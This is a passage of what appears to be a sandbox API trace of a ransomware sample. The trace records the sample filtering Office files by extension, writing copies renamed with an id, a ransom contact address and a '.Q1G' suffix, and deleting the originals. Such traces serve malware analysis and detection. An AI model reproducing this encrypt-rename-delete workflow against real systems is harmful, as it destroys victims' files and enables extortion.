lpString2=".HXT") returned -1 [0253.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0253.964] lstrlenW (lpString=".1cd") returned 4 [0253.964] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0253.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0253.965] lstrlenW (lpString=".jpg") returned 4 [0253.965] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0253.965] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0253.965] lstrlenW (lpString="SETLANG_F_COL.HXK") returned 17 [0253.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0253.965] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=114) returned 1 [0253.965] CloseHandle (hObject=0x390) returned 1 [0253.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk")) returned 0x20 [0253.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0253.966] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.966] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0253.966] GetLastError () returned 0x0 [0253.966] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x72, lpOverlapped=0x0) returned 1 [0253.967] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x80, lpOverlapped=0x0) returned 1 [0253.968] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0253.968] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf6, lpOverlapped=0x0) returned 1 [0253.968] SetEndOfFile (hFile=0x3ac) returned 1 [0253.968] CloseHandle (hObject=0x3ac) returned 1 [0253.968] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.968] SetEndOfFile (hFile=0x390) returned 1 [0253.971] CloseHandle (hObject=0x390) returned 1 [0253.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.971] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk")) returned 1 [0253.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0253.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0253.972] lstrlenW (lpString=".doc") returned 4 [0253.972] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0253.972] lstrlenW (lpString=".docx") returned 5 [0253.972] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0253.972] lstrlenW (lpString=".pdf") returned 4 [0253.972] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0253.972] lstrlenW (lpString=".xls") returned 4 [0253.972] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0253.972] lstrlenW (lpString=".xlsx") returned 5 [0253.972] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0253.972] lstrlenW (lpString=".ppt") returned 4 [0253.972] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0253.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0253.972] lstrlenW (lpString=".zip") returned 4 [0253.972] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0253.972] lstrlenW (lpString=".rar") returned 4 [0253.972] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0253.972] lstrlenW (lpString=".bz2") returned 4 [0253.972] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0253.972] lstrlenW (lpString=".7z") returned 3 [0253.972] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0253.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0253.972] lstrlenW (lpString=".dbf") returned 4 [0253.972] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0253.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0253.972] lstrlenW (lpString=".1cd") returned 4 [0253.972] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0253.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0253.973] lstrlenW (lpString=".jpg") returned 4 [0253.973] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0253.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0253.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0253.973] lstrlenW (lpString=".doc") returned 4 [0253.973] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0253.973] lstrlenW (lpString=".docx") returned 5 [0253.973] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0253.973] lstrlenW (lpString=".pdf") returned 4 [0253.973] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0253.973] lstrlenW (lpString=".xls") returned 4 [0253.973] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0253.973] lstrlenW (lpString=".xlsx") returned 5 [0253.973] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0253.973] lstrlenW (lpString=".ppt") returned 4 [0253.973] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0253.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0253.973] lstrlenW (lpString=".zip") returned 4 [0253.973] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0253.973] lstrlenW (lpString=".rar") returned 4 [0253.973] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0253.973] lstrlenW (lpString=".bz2") returned 4 [0253.973] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0253.973] lstrlenW (lpString=".7z") returned 3 [0253.973] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0253.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0253.973] lstrlenW (lpString=".dbf") returned 4 [0253.973] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0253.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0253.974] lstrlenW (lpString=".1cd") returned 4 [0253.974] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0253.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0253.974] lstrlenW (lpString=".jpg") returned 4 [0253.974] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0253.974] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0253.974] lstrlenW (lpString="SETLANG_K_COL.HXK") returned 17 [0253.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0253.975] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=113) returned 1 [0253.975] CloseHandle (hObject=0x390) returned 1 [0253.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk")) returned 0x20 [0253.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0253.975] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.976] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0253.976] GetLastError () returned 0x0 [0253.976] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x71, lpOverlapped=0x0) returned 1 [0253.977] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x80, lpOverlapped=0x0) returned 1 [0253.978] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0253.978] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf6, lpOverlapped=0x0) returned 1 [0253.978] SetEndOfFile (hFile=0x3ac) returned 1 [0253.978] CloseHandle (hObject=0x3ac) returned 1 [0253.978] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.978] SetEndOfFile (hFile=0x390) returned 1 [0253.980] CloseHandle (hObject=0x390) returned 1 [0253.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk")) returned 1 [0253.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0253.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0253.982] lstrlenW (lpString=".doc") returned 4 [0253.982] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0253.982] lstrlenW (lpString=".docx") returned 5 [0253.982] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0253.982] lstrlenW (lpString=".pdf") returned 4 [0253.982] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0253.982] lstrlenW (lpString=".xls") returned 4 [0253.982] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0253.982] lstrlenW (lpString=".xlsx") returned 5 [0253.982] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0253.982] lstrlenW (lpString=".ppt") returned 4 [0253.982] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0253.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0253.982] lstrlenW (lpString=".zip") returned 4 [0253.982] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0253.982] lstrlenW (lpString=".rar") returned 4 [0253.982] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0253.982] lstrlenW (lpString=".bz2") returned 4 [0253.982] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0253.982] lstrlenW (lpString=".7z") returned 3 [0253.983] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0253.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0253.983] lstrlenW (lpString=".dbf") returned 4 [0253.983] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0253.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0253.983] lstrlenW (lpString=".1cd") returned 4 [0253.983] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0253.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0253.983] lstrlenW (lpString=".jpg") returned 4 [0253.983] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0253.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0253.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0253.983] lstrlenW (lpString=".doc") returned 4 [0253.983] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0253.983] lstrlenW (lpString=".docx") returned 5 [0253.983] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0253.983] lstrlenW (lpString=".pdf") returned 4 [0253.983] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0253.983] lstrlenW (lpString=".xls") returned 4 [0253.983] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0253.983] lstrlenW (lpString=".xlsx") returned 5 [0253.983] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0253.983] lstrlenW (lpString=".ppt") returned 4 [0253.983] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0253.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0253.983] lstrlenW (lpString=".zip") returned 4 [0253.983] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0253.983] lstrlenW (lpString=".rar") returned 4 [0253.983] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0253.983] lstrlenW (lpString=".bz2") returned 4 [0253.983] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0253.983] lstrlenW (lpString=".7z") returned 3 [0253.983] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0253.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0253.984] lstrlenW (lpString=".dbf") returned 4 [0253.984] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0253.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0253.984] lstrlenW (lpString=".1cd") returned 4 [0253.984] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0253.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0253.984] lstrlenW (lpString=".jpg") returned 4 [0253.984] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0253.984] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0253.984] lstrlenW (lpString="SGRES.DLL") returned 9 [0253.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0253.985] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=68984) returned 1 [0253.985] CloseHandle (hObject=0x390) returned 1 [0253.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll")) returned 0x20 [0253.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0253.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0253.986] lstrlenW (lpString=".doc") returned 4 [0253.986] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0253.986] lstrlenW (lpString=".docx") returned 5 [0253.986] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0253.986] lstrlenW (lpString=".pdf") returned 4 [0253.986] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0253.986] lstrlenW (lpString=".xls") returned 4 [0253.986] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0253.986] lstrlenW (lpString=".xlsx") returned 5 [0253.986] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0253.986] lstrlenW (lpString=".ppt") returned 4 [0253.986] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0253.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0253.986] lstrlenW (lpString=".zip") returned 4 [0253.986] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0253.986] lstrlenW (lpString=".rar") returned 4 [0253.986] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0253.986] lstrlenW (lpString=".bz2") returned 4 [0253.986] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0253.986] lstrlenW (lpString=".7z") returned 3 [0253.986] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0253.986] lstrlenW (lpString=".dbf") returned 4 [0253.986] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0253.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0253.986] lstrlenW (lpString=".1cd") returned 4 [0253.986] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0253.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0253.986] lstrlenW (lpString=".jpg") returned 4 [0253.986] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0253.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0253.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0253.986] lstrlenW (lpString=".doc") returned 4 [0253.986] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0253.986] lstrlenW (lpString=".docx") returned 5 [0253.987] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0253.987] lstrlenW (lpString=".pdf") returned 4 [0253.987] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0253.987] lstrlenW (lpString=".xls") returned 4 [0253.987] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0253.987] lstrlenW (lpString=".xlsx") returned 5 [0253.987] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0253.987] lstrlenW (lpString=".ppt") returned 4 [0253.987] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0253.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0253.987] lstrlenW (lpString=".zip") returned 4 [0253.987] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0253.987] lstrlenW (lpString=".rar") returned 4 [0253.987] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0253.987] lstrlenW (lpString=".bz2") returned 4 [0253.987] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0253.987] lstrlenW (lpString=".7z") returned 3 [0253.987] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0253.987] lstrlenW (lpString=".dbf") returned 4 [0253.987] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0253.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0253.987] lstrlenW (lpString=".1cd") returned 4 [0253.987] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0253.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0253.987] lstrlenW (lpString=".jpg") returned 4 [0253.987] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0253.987] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0253.987] lstrlenW (lpString="SGRES.DLL.IDX_DLL") returned 17 [0253.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0253.988] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=11648) returned 1 [0253.988] CloseHandle (hObject=0x390) returned 1 [0253.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll")) returned 0x20 [0253.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0253.988] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.988] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0253.990] GetLastError () returned 0x0 [0253.990] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x2d80, lpOverlapped=0x0) returned 1 [0253.992] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x2d90, lpOverlapped=0x0) returned 1 [0253.993] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0253.993] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf6, 